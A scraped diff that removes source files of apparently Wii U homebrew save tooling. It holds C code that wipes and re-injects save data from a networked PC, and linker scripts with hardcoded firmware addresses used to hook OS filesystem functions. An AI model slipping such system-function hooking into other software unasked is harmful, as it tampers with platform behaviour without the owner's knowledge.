int buf_size = BUFFER_SIZE;
|
||||
char * pBuffer;
|
||||
int failed = 0;
|
||||
do{
|
||||
buf_size -= BUFFER_SIZE_STEPS;
|
||||
if(buf_size < 0){
|
||||
log_string(bss.logsock, "error on buffer allocation", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
pBuffer = (char *)MEMAllocFromDefaultHeapEx(buf_size, 0x40);
|
||||
if(pBuffer) memset(pBuffer, 0x00, buf_size);
|
||||
}while(!pBuffer);
|
||||
|
||||
if(!failed){
|
||||
char buffer[60];
|
||||
__os_snprintf(buffer, sizeof(buffer), "allocated %d bytes",buf_size);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
int result = 0;
|
||||
int mask = 0;
|
||||
if((result = saviine_start_injection(bss.socket_fsa[client], persistentID,&mask))){
|
||||
if((mask & MASK_USER) == MASK_USER){
|
||||
char savepath[20];
|
||||
__os_snprintf(savepath, sizeof(savepath), "/vol/save/%08x",persistentID);
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "injecting new userdata in %08x",persistentID);
|
||||
log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
log_string(bss.logsock, "deleting user save", BYTE_LOG_STR);
|
||||
if(remove_files_in_dir(pClient,pCmd,savepath,0) == -1){
|
||||
failed = 1;
|
||||
}else{
|
||||
/*
|
||||
Inject Save
|
||||
*/
|
||||
result = injectFiles(pClient,pCmd,savepath,"/",savepath,pBuffer,buf_size,error);
|
||||
doFlushOrRollback(pClient,pCmd,result,savepath);
|
||||
}
|
||||
}
|
||||
if((mask & MASK_COMMON) == MASK_COMMON && !failed){
|
||||
char * commonDir = "/vol/save/common";
|
||||
|
||||
if((mask & MASK_COMMON_CLEAN) == MASK_COMMON_CLEAN){
|
||||
log_string(bss.logsock, "deleting common save", BYTE_LOG_STR);
|
||||
if(remove_files_in_dir(pClient,pCmd,commonDir,0) == -1){
|
||||
failed = 1;
|
||||
}
|
||||
}
|
||||
if(!failed){
|
||||
/*
|
||||
Inject common
|
||||
*/
|
||||
result = injectFiles(pClient,pCmd,commonDir,"/",commonDir,pBuffer,buf_size,error);
|
||||
doFlushOrRollback(pClient,pCmd,result,commonDir);
|
||||
}
|
||||
}
|
||||
if(!saviine_end_injection(bss.socket_fsa[client])) if(DEBUG_LOG) log_string(bss.logsock, "saviine_end_injection() failed", BYTE_LOG_STR);
|
||||
if(DEBUG_LOG)log_string(bss.logsock, "end of injection", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(bss.logsock, "saviine_start_injection() failed", BYTE_LOG_STR);
|
||||
}
|
||||
free(pBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
int injectFiles(void *pClient, void *pCmd, char * path,char * relativepath, char * basepath, char * pBuffer, int buffer_size, int error){
|
||||
int client = client_num(pClient);
|
||||
int failed = 0;
|
||||
int filesinjected = 0;
|
||||
int type = 0;
|
||||
log_string(bss.logsock, "injecting files", BYTE_LOG_STR);
|
||||
char namebuffer[255];
|
||||
char logbuffer[255];
|
||||
int filesize = 0;
|
||||
|
||||
if(!failed){
|
||||
while(saviine_readdir(bss.socket_fsa[client],path,namebuffer, &type,&filesize) && !failed){
|
||||
if(DEBUG_LOG)log_string(bss.logsock, "got a file", BYTE_LOG_STR);
|
||||
char newpath[strlen(path) + 1 + strlen(namebuffer)];
|
||||
__os_snprintf(newpath, sizeof(newpath), "%s/%s",path,namebuffer);
|
||||
if(type == BYTE_FILE){
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "file: %s%s size: %d",relativepath,namebuffer,filesize);
|
||||
log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "downloading it", BYTE_LOG_STR);
|
||||
|
||||
int handle = 10;
|
||||
if(FSOpenFile(pClient, pCmd, newpath,"w+",&handle,error) >= FS_STATUS_OK){
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "file opened and created", BYTE_LOG_STR);
|
||||
|
||||
if(filesize > 0){
|
||||
failed = doInjectForFile(pClient,pCmd,handle,newpath,filesize,basepath,pBuffer,buffer_size);
|
||||
if(failed == 2) // trying it again if the journal was full
|
||||
failed = doInjectForFile(pClient,pCmd,handle,newpath,filesize,basepath,pBuffer,buffer_size);
|
||||
}else{
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "filesize is 0", BYTE_LOG_STR);
|
||||
}
|
||||
|
||||
if((FSCloseFile (pClient, pCmd, handle, error)) < FS_STATUS_OK){
|
||||
log_string(bss.logsock, "FSCloseFile failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
}else{
|
||||
log_string(bss.logsock, "opening the file failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
if(!failed) filesinjected++;
|
||||
}else if( type == BYTE_FOLDER){
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "dir: %s",namebuffer);
|
||||
log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, newpath, BYTE_LOG_STR);
|
||||
int ret = 0;
|
||||
if((ret = FSMakeDir(pClient, pCmd, newpath, -1)) == FS_STATUS_OK || ret == FS_STATUS_EXISTS ){
|
||||
char op_offset[strlen(relativepath) + strlen(namebuffer)+ 1 + 1];
|
||||
__os_snprintf(op_offset, sizeof(op_offset), "%s%s/",relativepath,namebuffer);
|
||||
int injectedsub = injectFiles(pClient, pCmd, newpath,op_offset,basepath,pBuffer,buffer_size,error);
|
||||
if(injectedsub == -1){
|
||||
failed = 1;
|
||||
}else{
|
||||
filesinjected += injectedsub;
|
||||
}
|
||||
}else{
|
||||
log_string(bss.logsock, "folder creation failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(failed) return -1;
|
||||
else return filesinjected;
|
||||
}else{
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
int doInjectForFile(void * pClient, void * pCmd,int handle,char * filepath,int filesize, char * basepath,void * pBuffer,int buf_size){
|
||||
int client = client_num(pClient);
|
||||
int failed = 0;
|
||||
int myhandle;
|
||||
int ret = 0;
|
||||
char logbuffer[255];
|
||||
if((cafiine_fopen(bss.socket_fsa[client], &ret, filepath, "r", &myhandle)) == 0 && ret == FS_STATUS_OK){
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "cafiine_fopen with handle %d",myhandle);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
int retsize = 0;
|
||||
int pos = 0;
|
||||
while(pos < filesize){
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "reading", BYTE_LOG_STR);
|
||||
if(cafiine_fread(bss.socket_fsa[client], &retsize, pBuffer, buf_size , myhandle) == FS_STATUS_OK){
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "got %d",retsize);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
int fwrite = 0;
|
||||
if((fwrite = my_FSWriteFile(pClient, pCmd, pBuffer,sizeof(char),retsize,handle,0,0x0200)) >= FS_STATUS_OK){
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "wrote %d",retsize);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
}else{
|
||||
if(fwrite == FS_STATUS_JOURNAL_FULL || fwrite == FS_STATUS_STORAGE_FULL){
|
||||
log_string(bss.logsock, "journal or storage is full, flushing it now.", BYTE_LOG_STR);
|
||||
if(FSFlushQuota(pClient,pCmd,basepath,FS_RET_ALL_ERROR) == FS_STATUS_OK){
|
||||
log_string(bss.logsock, "success", BYTE_LOG_STR);
|
||||
failed = 2;
|
||||
break;
|
||||
}else{
|
||||
log_string(bss.logsock, "failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "my_FSWriteFile failed with error: %d",fwrite);
|
||||
log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
//log_string(bss.logsock, "error while FSWriteFile", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
if(DEBUG_LOG)__os_snprintf(logbuffer, sizeof(logbuffer), "old p %d new p %d",pos,pos+retsize);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
pos += retsize;
|
||||
}else{
|
||||
log_string(bss.logsock, "error while recieving file", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int result = 0;
|
||||
if((cafiine_fclose(bss.socket_fsa[client], &result, myhandle,0)) == 0 && result == FS_STATUS_OK){
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "cafiine_fclose success", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(bss.logsock, "cafiine_fclose failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
|
||||
|
||||
}else{
|
||||
log_string(bss.logsock, "cafiine_fopen failed", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
return failed;
|
||||
}
|
||||
|
||||
/*************************
|
||||
Util functions
|
||||
**************************/
|
||||
|
||||
/*flush if result != -1*/
|
||||
void doFlushOrRollback(void *pClient, void *pCmd,int result,char *savepath){
|
||||
char logbuffer[50 + strlen(savepath)];
|
||||
if(result != -1){
|
||||
__os_snprintf(logbuffer, sizeof(logbuffer), "injected %d files",result);
|
||||
log_string(bss.logsock, logbuffer, BYTE_LOG_STR);
|
||||
log_string(bss.logsock, "Flushing data now", BYTE_LOG_STR);
|
||||
if(FSFlushQuota(pClient,pCmd,savepath,FS_RET_ALL_ERROR) == FS_STATUS_OK){
|
||||
log_string(bss.logsock, "success", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(bss.logsock, "failed", BYTE_LOG_STR);
|
||||
}
|
||||
}else{
|
||||
log_string(bss.logsock, "injection failed, trying to restore the data", BYTE_LOG_STR);
|
||||
if(FSRollbackQuota(pClient,pCmd,savepath,FS_RET_ALL_ERROR) == FS_STATUS_OK){
|
||||
log_string(bss.logsock, "rollback done", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(bss.logsock, "rollback failed", BYTE_LOG_STR);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void init_Save(unsigned char slotNo){
|
||||
int (*SAVEInit)();
|
||||
int (*SAVEInitSaveDir)(unsigned char accountSlotNo);
|
||||
unsigned int save_handle;
|
||||
OSDynLoad_Acquire("nn_save.rpl", &save_handle);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEInit", (void **)&SAVEInit);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir", (void **)&SAVEInitSaveDir);
|
||||
bss.saveinitfs = 1;
|
||||
SAVEInit();
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "saveinit done", BYTE_LOG_STR);
|
||||
SAVEInitSaveDir(slotNo);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "SAVEInitSaveDir done", BYTE_LOG_STR);
|
||||
SAVEInitSaveDir(255U);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "SAVEInitSaveDir 2 done", BYTE_LOG_STR);
|
||||
}
|
||||
|
||||
long getPesistentID(unsigned char * slotno){
|
||||
unsigned int nn_act_handle;
|
||||
unsigned long (*GetPersistentIdEx)(unsigned char);
|
||||
int (*GetSlotNo)(void);
|
||||
void (*nn_Initialize)(void);
|
||||
void (*nn_Finalize)(void);
|
||||
OSDynLoad_Acquire("nn_act.rpl", &nn_act_handle);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "GetPersistentIdEx__Q2_2nn3actFUc", (void **)&GetPersistentIdEx);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "GetSlotNo__Q2_2nn3actFv", (void **)&GetSlotNo);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "Initialize__Q2_2nn3actFv", (void **)&nn_Initialize);
|
||||
OSDynLoad_FindExport(nn_act_handle, 0, "Finalize__Q2_2nn3actFv", (void **)&nn_Finalize);
|
||||
|
||||
nn_Initialize(); // To be sure that it is really Initialized
|
||||
|
||||
*slotno = GetSlotNo();
|
||||
|
||||
long idlong = GetPersistentIdEx(*slotno);
|
||||
|
||||
nn_Finalize(); //must be called an equal number of times to nn_Initialize
|
||||
return idlong;
|
||||
}
|
||||
|
||||
int remove_files_in_dir(void * pClient,void * pCmd, char * path, int handle){
|
||||
int ret = 0;
|
||||
int my_handle = handle +1;
|
||||
char buffer[strlen(path) + 50];
|
||||
if ((ret = FSOpenDir(pClient, pCmd, path, &handle, FS_RET_ALL_ERROR)) == FS_STATUS_OK){
|
||||
__os_snprintf(buffer, sizeof(buffer), "remove files in dir %s",path);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
FSDirEntry dir_entry;
|
||||
while (FSReadDir(pClient, pCmd, handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK)
|
||||
{
|
||||
char full_path[strlen(path) + 1 + strlen(dir_entry.name) +1];
|
||||
__os_snprintf(full_path, sizeof(full_path), "%s/%s",path,dir_entry.name);
|
||||
if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "recursive deletion", BYTE_LOG_STR);
|
||||
if(remove_files_in_dir(pClient,pCmd,full_path,my_handle) == -1) return -1;
|
||||
|
||||
}
|
||||
char buffer[strlen(full_path) + 50];
|
||||
__os_snprintf(buffer, sizeof(buffer), "deleting %s",full_path);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
if((ret = FSRemove(pClient,pCmd,full_path,FS_RET_ALL_ERROR)) < FS_STATUS_OK){
|
||||
__os_snprintf(buffer, sizeof(buffer), "error: %d on removing %s",ret,full_path);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
||||
if((FSCloseDir(pClient, pCmd, handle, FS_RET_NO_ERROR)) < FS_STATUS_OK ){
|
||||
log_string(bss.logsock, "error while closing dir", BYTE_LOG_STR);
|
||||
return -1;
|
||||
}
|
||||
}else{
|
||||
__os_snprintf(buffer, sizeof(buffer), "error: %d on opening %s",ret,path);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#define MAKE_MAGIC(x) { x, my_ ## x, &real_ ## x }
|
||||
|
||||
struct magic_t {
|
||||
const void *real;
|
||||
const void *replacement;
|
||||
const void *call;
|
||||
} methods[] __attribute__((section(".magic"))) = {
|
||||
MAKE_MAGIC(FSAInit),
|
||||
MAKE_MAGIC(FSAShutdown),
|
||||
MAKE_MAGIC(FSAAddClient),
|
||||
MAKE_MAGIC(FSADelClient),
|
||||
MAKE_MAGIC(FSInit),
|
||||
MAKE_MAGIC(FSShutdown),
|
||||
MAKE_MAGIC(FSAddClientEx),
|
||||
MAKE_MAGIC(FSDelClient),
|
||||
MAKE_MAGIC(FSWriteFile),
|
||||
MAKE_MAGIC(FSFlushQuota),
|
||||
MAKE_MAGIC(_Exit),
|
||||
};
|
@ -1,147 +0,0 @@
|
||||
/* string.h */
|
||||
#include "../common/fs_defs.h"
|
||||
#define NULL ((void *)0)
|
||||
|
||||
#define BYTE_NORMAL 0xff
|
||||
#define BYTE_SPECIAL 0xfe
|
||||
#define BYTE_OPEN 0x00
|
||||
#define BYTE_READ 0x01
|
||||
#define BYTE_CLOSE 0x02
|
||||
#define BYTE_OK 0x03
|
||||
#define BYTE_SETPOS 0x04
|
||||
#define BYTE_STATFILE 0x05
|
||||
#define BYTE_EOF 0x06
|
||||
#define BYTE_GETPOS 0x07
|
||||
#define BYTE_REQUEST 0x08
|
||||
#define BYTE_REQUEST_SLOW 0x09
|
||||
#define BYTE_HANDLE 0x0A
|
||||
#define BYTE_DUMP 0x0B
|
||||
#define BYTE_PING 0x0C
|
||||
#define BYTE_G_MODE 0x0D
|
||||
#define BYTE_MODE_D 0x0E
|
||||
#define BYTE_MODE_I 0x0F
|
||||
#define BYTE_CLOSE_DUMP 0x10
|
||||
#define BYTE_LOG_STR 0xfb
|
||||
#define BYTE_FILE 0xC0
|
||||
#define BYTE_FOLDER 0xC1
|
||||
#define BYTE_READ_DIR 0xCC
|
||||
#define BYTE_INJECTSTART 0x40
|
||||
#define BYTE_INJECTEND 0x41
|
||||
#define BYTE_DUMPSTART 0x42
|
||||
#define BYTE_DUMPEND 0x43
|
||||
#define BYTE_END 0xfd
|
||||
|
||||
#define MASK_NORMAL 0x8000
|
||||
#define MASK_USER 0x0100
|
||||
#define MASK_COMMON 0x0200
|
||||
#define MASK_COMMON_CLEAN 0x0400
|
||||
|
||||
void GX2WaitForVsync(void);
|
||||
|
||||
void *memcpy(void *dst, const void *src, int bytes);
|
||||
void *memset(void *dst, int val, int bytes);
|
||||
|
||||
/* malloc.h */
|
||||
extern void *(* const MEMAllocFromDefaultHeapEx)(int size, int align);
|
||||
extern void *(* const MEMAllocFromDefaultHeap)(int size);
|
||||
extern void *(* const MEMFreeToDefaultHeap)(void *ptr);
|
||||
#define memalign (*MEMAllocFromDefaultHeapEx)
|
||||
#define malloc (*MEMAllocFromDefaultHeap)
|
||||
#define free (*MEMFreeToDefaultHeap)
|
||||
/* socket.h */
|
||||
#define AF_INET 2
|
||||
#define SOCK_STREAM 1
|
||||
#define IPPROTO_TCP 6
|
||||
|
||||
/* FS Functions */
|
||||
extern FSStatus FSAddClient(FSClient *pClient, FSRetFlag errHandling);
|
||||
extern void FSInitCmdBlock(FSCmdBlock *pCmd);
|
||||
extern FSStatus FSCloseDir(FSClient *pClient, FSCmdBlock *pCmd, int dh, FSRetFlag errHandling);
|
||||
extern FSStatus FSOpenFile(FSClient *pClient, FSCmdBlock *pCmd, char *path,char *mode,int *dh,FSRetFlag errHandling);
|
||||
extern FSStatus FSOpenDir(FSClient *pClient, FSCmdBlock *pCmd, const char *path, int *dh, FSRetFlag errHandling);
|
||||
extern FSStatus FSReadDir(FSClient *pClient, FSCmdBlock *pCmd, int dh, FSDirEntry *dir_entry, FSRetFlag errHandling);
|
||||
extern FSStatus FSChangeDir(FSClient *pClient, FSCmdBlock *pCmd, const char *path, FSRetFlag errHandling);
|
||||
extern FSStatus FSCloseDir(FSClient *pClient, FSCmdBlock *pCmd, int dh, FSRetFlag errHandling);
|
||||
extern FSStatus FSReadFile(FSClient *pClient, FSCmdBlock *pCmd, void *buffer, int size, int count, int fd, int flag, int error);
|
||||
extern FSStatus FSSetPosFile(FSClient *pClient, FSCmdBlock *pCmd, int fd, int pos, int error);
|
||||
extern FSStatus FSCloseFile (FSClient *pClient, FSCmdBlock *pCmd, int fd, int error);
|
||||
extern FSStatus FSMakeDir(FSClient *pClient, FSCmdBlock *pCmd,const char *path, FSRetFlag errHandling);
|
||||
extern FSStatus FSRemove(FSClient *pClient, FSCmdBlock *pCmd, const char *path, FSRetFlag errHandling);
|
||||
extern FSStatus FSRollbackQuota(FSClient *pClient, FSCmdBlock *pCmd, const char *path, FSRetFlag errHandling);
|
||||
extern void OSDynLoad_Acquire (char* rpl, unsigned int *handle);
|
||||
extern void OSDynLoad_FindExport (unsigned int handle, int isdata, char *symbol, void *address);
|
||||
extern void _Exit();
|
||||
|
||||
extern void socket_lib_init();
|
||||
extern int socket(int domain, int type, int protocol);
|
||||
extern int socketclose(int socket);
|
||||
extern int connect(int socket, void *addr, int addrlen);
|
||||
extern int send(int socket, const void *buffer, int size, int flags);
|
||||
extern int recv(int socket, void *buffer, int size, int flags);
|
||||
|
||||
extern int __os_snprintf(char* s, int n, const char * format, ...);
|
||||
|
||||
int saviine_readdir(int sock, char * path,char * resultname, int * resulttype,int *filesize);
|
||||
int injectFiles(void *pClient, void *pCmd, char * path,char * relativepath, char * basepath, char * pBuffer, int buffer_size, int error);
|
||||
void doFlushOrRollback(void *pClient,void *pCmd,int result,char *savepath);
|
||||
void injectSaveData(void *pClient, void *pCmd,long persistentID,int error);
|
||||
void dumpSavaData(void *pClient, void *pCmd,long persistentID,int error);
|
||||
long getPesistentID(unsigned char * slotno);
|
||||
void init_Save(unsigned char slotNo);
|
||||
int doInjectForFile(void * pClient, void * pCmd,int handle,char * filepath,int filesize, char * basepath,void * pBuffer,int buf_size);
|
||||
void handle_saves(void *pClient, void *pCmd,int error);
|
||||
void hook(void * pClient,void * pCmd, int error);
|
||||
int dump_dir(void *pClient, void *pCmd, char *path, void * pBuffer, int size,int error, int handle);
|
||||
int remove_files_in_dir(void * pClient,void * pCmd, char * path, int handle);
|
||||
|
||||
struct in_addr {
|
||||
unsigned int s_addr;
|
||||
};
|
||||
struct sockaddr_in {
|
||||
short sin_family;
|
||||
unsigned short sin_port;
|
||||
struct in_addr sin_addr;
|
||||
char sin_zero[8];
|
||||
};
|
||||
|
||||
/* OS stuff */
|
||||
extern const long long title_id;
|
||||
|
||||
/* Forward declarations */
|
||||
#define MAX_CLIENT 32
|
||||
#define MASK_FD 0x0fff00ff
|
||||
|
||||
struct bss_t {
|
||||
int socket_fsa[MAX_CLIENT];
|
||||
void *pClient_fs[MAX_CLIENT];
|
||||
int socket_fs[MAX_CLIENT];
|
||||
char save_path[255];
|
||||
volatile int saveFolderChecked;
|
||||
volatile void * on_start_hook_client;
|
||||
volatile int lock;
|
||||
volatile int saveinitfs;
|
||||
int logsock;
|
||||
};
|
||||
|
||||
#define bss_ptr (*(struct bss_t **)0x100000e4)
|
||||
#define bss (*bss_ptr)
|
||||
|
||||
void cafiine_connect(int *socket);
|
||||
void cafiine_disconnect(int socket);
|
||||
int getMode(int sock, int * result);
|
||||
int cafiine_fopen(int socket, int *result, const char *path, const char *mode, int *handle);
|
||||
int cafiine_send_handle(int sock, int client, const char *path, int handle);
|
||||
void cafiine_send_file(int sock, char *file, int size, int fd);
|
||||
int cafiine_fread(int socket, int *result, void *buffer, int size, int fd);
|
||||
int cafiine_fclose(int socket, int *result, int fd, int dumpclose);
|
||||
int cafiine_fsetpos(int socket, int *result, int fd, int set);
|
||||
int cafiine_fgetpos(int socket, int *result, int fd, int *pos);
|
||||
int cafiine_fstat(int sock, int *result, int fd, void *ptr);
|
||||
int cafiine_feof(int sock, int *result, int fd);
|
||||
void cafiine_send_ping(int sock, int val1, int val2);
|
||||
void log_string(int sock, const char* str, char flag_byte);
|
||||
|
||||
int saviine_end_injection(int sock);
|
||||
int saviine_start_injection(int sock, long persistentID,int * mask);
|
||||
int saviine_start_dump(int sock, long persistentID,int * mask);
|
||||
int saviine_end_dump(int sock);
|
@ -1,90 +0,0 @@
|
||||
OUTPUT(saviine532.elf);
|
||||
|
||||
SECTIONS {
|
||||
.text 0x011e0000 : {
|
||||
server_ip = .;
|
||||
. = . + 4;
|
||||
*(.text._start);
|
||||
*(.text*);
|
||||
*(.magicptr*);
|
||||
}
|
||||
.magic : {
|
||||
*(.magic*);
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*);
|
||||
}
|
||||
/DISCARD/ : {
|
||||
*(*);
|
||||
}
|
||||
}
|
||||
|
||||
/* FSA methods */
|
||||
PROVIDE(FSAInit = 0x10608ac);
|
||||
PROVIDE(FSAShutdown = 0x1060974);
|
||||
PROVIDE(FSAAddClient = 0x106546c);
|
||||
PROVIDE(FSADelClient = 0x1060aa4);
|
||||
PROVIDE(FSAOpenFile = 0x10621f8);
|
||||
|
||||
/*FE3C00*/
|
||||
/* FS methods */
|
||||
PROVIDE(FSInit = 0x10683c8);
|
||||
PROVIDE(FSShutdown = 0x1068538);
|
||||
PROVIDE(FSAddClientEx = 0x10685fc);
|
||||
PROVIDE(FSAddClient = 0x010689fc);
|
||||
PROVIDE(FSDelClient = 0x1068a08);
|
||||
PROVIDE(FSOpenFile = 0x106ef7c);
|
||||
PROVIDE(FSOpenFileAsync = 0x0106a434);
|
||||
PROVIDE(FSInitCmdBlock = 0x01068c54);
|
||||
PROVIDE(FSMakeDir = 0x0106f8e0);
|
||||
PROVIDE(FSCloseFile = 0x106f088);
|
||||
PROVIDE(FSReadFile = 0x106f108);
|
||||
PROVIDE(FSReadFileWithPos = 0x106f194);
|
||||
PROVIDE(FSGetPosFile = 0x106f4c0);
|
||||
PROVIDE(FSSetPosFile = 0x106f530);
|
||||
PROVIDE(FSGetStatFile = 0x106f5a0);
|
||||
PROVIDE(FSIsEof = 0x106f610);
|
||||
PROVIDE(FSWriteFile = 0x106F228);
|
||||
PROVIDE(FSFlushQuota = 0x106FAC8);
|
||||
PROVIDE(FSRollbackQuota = 0x106FC48);
|
||||
PROVIDE(_Exit = 0x101CD70);
|
||||
|
||||
/* */
|
||||
PROVIDE(FSGetStat = 0x0106fdc8);
|
||||
PROVIDE(FSGetStatAsync = 0x0106bff4);
|
||||
PROVIDE(FSOpenFileAsync = 0x0106a434);
|
||||
|
||||
PROVIDE(FSOpenDir = 0x0106f690);
|
||||
PROVIDE(FSReadDir = 0x0106f780);
|
||||
PROVIDE(FSCloseDir = 0x0106f700);
|
||||
PROVIDE(FSChangeDir = 0x0106eefc);
|
||||
PROVIDE(FSCloseDir = 0x0106f700);
|
||||
PROVIDE(FSRemove = 0x0106F960);
|
||||
|
||||
/* GX2 methods */
|
||||
PROVIDE(GX2WaitForVsync = 0x1151964);
|
||||
|
||||
/* Socket methods */
|
||||
PROVIDE(socket_lib_init = 0x10c02f4);
|
||||
PROVIDE(socket = 0x10c21c8);
|
||||
PROVIDE(socketclose = 0x10c2314);
|
||||
PROVIDE(connect = 0x10c0828);
|
||||
PROVIDE(send = 0x10c16ac);
|
||||
PROVIDE(recv = 0x10c0aec);
|
||||
|
||||
/* Standard library methods */
|
||||
PROVIDE(memcpy = 0x1035a68);
|
||||
PROVIDE(memset = 0x1035a54);
|
||||
PROVIDE(MEMAllocFromDefaultHeapEx = 0x1004e9c0);
|
||||
PROVIDE(MEMFreeToDefaultHeap = 0x100b487c);
|
||||
PROVIDE(MEMAllocFromDefaultHeapEx = 0x1004e9c0);
|
||||
PROVIDE(MEMAllocFromDefaultHeap = 0x100b4878);
|
||||
PROVIDE(MEMFreeToDefaultHeap = 0x100b487c);
|
||||
|
||||
/* OS data */
|
||||
PROVIDE(title_id = 0x100136D0);
|
||||
|
||||
/* OS methods */
|
||||
PROVIDE(__os_snprintf = 0x102f09c);
|
||||
PROVIDE(OSDynLoad_FindExport = 0x102b790);
|
||||
PROVIDE(OSDynLoad_Acquire = 0x102a31c);
|
@ -1,45 +0,0 @@
|
||||
#ifndef COMMON_H
|
||||
#define COMMON_H
|
||||
|
||||
/* DATA_ADDRESS : address where flags start */
|
||||
#define DATA_ADDR ((void *)0x011e3800)
|
||||
#define BOUNCE_FLAG_ADDR (DATA_ADDR - 0x04) // bounce flag
|
||||
#define IS_ACTIVE_ADDR (DATA_ADDR - 0x08) // is replacement active
|
||||
#define RPL_REPLACE_ADDR (DATA_ADDR - 0x0C) // is it a new rpl to add
|
||||
#define RPL_ENTRY_INDEX_ADDR (DATA_ADDR - 0x10) // entry index of the rpx in our table
|
||||
|
||||
/* RPX Address : where the rpx is copied or retrieve, depends if we dump or replace */
|
||||
/* Note : from phys 0x30789C5D to 0x31E20000, memory seems empty (space reserved for root.rpx) which let us approximatly 22.5mB of memory free to put the rpx and additional rpls */
|
||||
#define MEM_BASE ((void*)0xC0800000)
|
||||
#define MEM_SIZE ((void*)(MEM_BASE - 0x04))
|
||||
#define MEM_OFFSET ((void*)(MEM_BASE - 0x08))
|
||||
#define MEM_PART ((void*)(MEM_BASE - 0x0C))
|
||||
#define RPX_NAME ((void*)(MEM_BASE - 0x10))
|
||||
#define RPX_NAME_PENDING ((void*)(MEM_BASE - 0x14))
|
||||
#define GAME_DIR_NAME ((void*)(MEM_BASE - 0x100))
|
||||
|
||||
/* RPX_RPL_ARRAY contains an array of multiple rpl/rpl structures: */
|
||||
/* Note : The first entry is always the one referencing the rpx (cf. struct s_rpx_rpl) */
|
||||
#define RPX_RPL_ARRAY ((void*)0xC07A0000)
|
||||
#define RPX_RPL_ENTRY_COUNT ((void*)(RPX_RPL_ARRAY - 0x04))
|
||||
|
||||
/* RPX Name : from which app/game, our rpx is launched */
|
||||
#define RPX_CHECK_NAME 0x63726F73 // 0xEFE00000 contains the rpx name, 0x63726F73 => cros (for smash brox : cross_f.rpx)
|
||||
|
||||
/* Union for rpx name */
|
||||
typedef union uRpxName {
|
||||
int name_full;
|
||||
char name[4];
|
||||
} uRpxName;
|
||||
|
||||
/* Struct used to organize rpx/rpl data in memory */
|
||||
typedef struct s_rpx_rpl
|
||||
{
|
||||
int address;
|
||||
int size;
|
||||
int offset;
|
||||
char name[64]; // TODO: maybe set the exact same size than dir_entry->name
|
||||
} s_rpx_rpl;
|
||||
|
||||
#endif /* COMMON_H */
|
||||
|
@ -1,85 +0,0 @@
|
||||
#ifndef FS_DEFS_H
|
||||
#define FS_DEFS_H
|
||||
|
||||
#include "../common/types.h"
|
||||
|
||||
/* FS defines and types */
|
||||
#define FS_MAX_LOCALPATH_SIZE 511
|
||||
#define FS_MAX_MOUNTPATH_SIZE 128
|
||||
#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE)
|
||||
#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE
|
||||
|
||||
#define FS_STATUS_OK 0
|
||||
#define FS_STATUS_EXISTS -5
|
